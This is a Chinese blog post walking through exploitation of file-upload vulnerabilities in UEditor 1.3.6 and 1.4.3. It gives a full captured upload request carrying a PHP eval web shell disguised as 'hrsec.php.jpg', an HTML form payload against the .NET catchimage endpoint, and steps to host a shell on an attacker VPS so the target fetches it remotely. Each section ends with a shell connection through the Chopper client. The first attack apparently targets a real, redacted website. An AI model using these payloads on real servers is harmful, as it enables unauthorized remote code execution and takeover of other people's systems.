ueditor php 漏洞_ueditor 1.3.6和1.4.3版本文件上传漏洞复现

最近遇到了两个版本的ueditor文件上传漏洞,因此记录一下。

00cc4c1d820b1a27b516517a811d57b8.png

  • ueditor 1.3.6

这个版本下的漏洞,是位于本地图片上传这个位置。

72a50c3cb0dcc972a6401fe691c15b2c.png

使用谷歌浏览器复现的时候,要注意一个细节

95c8b1299923b59448b3dd8f7dc7e037.png

所以可以使用低版本的谷歌浏览器继续复现,也可以使用IE复现。

37ef57b833341521487defa72f5012c6.png

通过网站技术分析插件Wappalyzer可知网站建站语言是php

84321d50b5fcfb9dd881d7ef46ab066a.png

随便输入一个目录,根据报错可知网站中间件为apache

a3e0c7cee14fe2edbdcbdf254ed6a2a6.png

另外,使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞。

从右往左开始解析该文件,没有解析成功,则继续解析,直到解析成功。

此时制作一个图片马

9a2a73b5c1c5018a9b3cc634d251f727.png

配置代理,开启burpsuite,然后上传该图片马,抓包。

抓到的数据包如下:

POST /ueditor/php/imageUp.php HTTP/1.1Host: www.xxxx.comConnection: closeContent-Length: 834Cache-Control: no-cacheOrigin: https://www.xxxx.comX-Requested-With: ShockwaveFlash/32.0.0.453User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Content-Type: multipart/form-data; boundary=tgxgljmoyirwwdctkcttntfyioorjtxmAccept: */*Referer: https://www.xxxx.com/ueditor/dialogs/image/imageUploader.swfAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=ud70jr1rv03cse9kqoq4b0qpq2; TS0169935b_26=015c88f537abd2526d6990620dd57fed56a99cc9b4256304b3a12dd274265c3a56091b26fd142e079f9a684ca2138a42c11416129f8ff5755d2b760a1cf4d948e3332c972b; TS0169935b=018ca83e5d0cde8d11a8b26237a5bc755718154b5cf4f5f17715e5755c5020951da0ff7dc116ab9c80b1a99598d295eb874c73902b3c0ee3acbeb161c1788fcc95c1bc8c72--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="Filename"hrsec.php.jpg--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="dir"upload1--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="fileNameFormat"{time}{rand:6}--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="pictitle"hrsec.php.jpg--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="fileName"hrsec.php.jpg--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="upfile"; filename="hrsec.php.jpg"Content-Type: application/octet-stream�PNG<?php @eval($_POST['hrsec']); ?>--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="Upload"Submit Query--tgxgljmoyirwwdctkcttntfyioorjtxm--

3a9a1186e3f4b4c43a74e919fe9bd99a.png

放包后,上传成功,并找到马的路径

尝试拼接路径,发现路径错误

f62675fc7b9c2b3e9fac9b797d898000.png

审计源码,F12后,发现上传图片的路径

802c4e0d284a41d51b35f85cd8e8a6b1.png

然后修改拼接。浏览器访问,发现该马存在。

86a07a6d8cb326047e9ad9cd1d49dc41.png

打开菜刀,选择语言是php,输入密码,连接马成功

b9a013e29adf7e9066b2c30be734898c.png

  • ueditor 1.4.3

这个漏洞,之前复现过一次,因此我就直接从copy我自己之前写的复现文章了。

漏洞存在点:

http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

ce8693a76fb678fcba2292227e6dd938.png

漏洞原因:controller.ashx文件下只校验ContentType而没校验文件后缀导致getshell。

payload如下,并保存为html格式

<form action="http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"enctype="application/x-www-form-urlencoded"  method="POST">    shell addr: <input type="text" name="source[]" />                <input type="submit" value="Submit" />form>


然后在自己的VPS上启动一个简易的HTTP服务,并传马(可以不用图片马,直接改后缀名为jpg)

python -m SimpleHTTPServer 80

8ce52bdb39d1c8817c662e65725e5d5e.png

访问自己的VPS即可看见服务已经启动。

74307605f425c4e001258db1740ebdcd.png

打开上面含payload的html文件

f029301673ffc8893a4dfa6f711fe3bf.png

 然后文本框中添加下面的链接,X.X.X.X是VPS地址

http://X.X.X.X/apsx.jpg?.aspx

1b13687863cb86f63eeadf6cf5037741.png

点击提交

f40e038ee1081b19846ea5e80f3b49e2.png

菜刀连接

d9b691978ce30ab4e6642e43fc52b1ed.png

服务器这边的记录

74da258421e891251504afdcee20f4a2.png

日常和我Lsky师傅玩(自己的服务器)。

5e930f18e96c102b32e7b8d6fbd19f3b.png

最后,帮我Lsky师傅打个小广告

294beeb2027ef32d083a5e790decc74a.png

6c3a06aa57bc569f47a89d0a5b0f0bca.png

网络系大四创业团队

广州新云信息科技有限公司

END

66ca0c618e860d6aff6558a554a83473.png

有问题随时私聊

微信号:jiangdaren000

(欢迎各位师傅加好友探讨)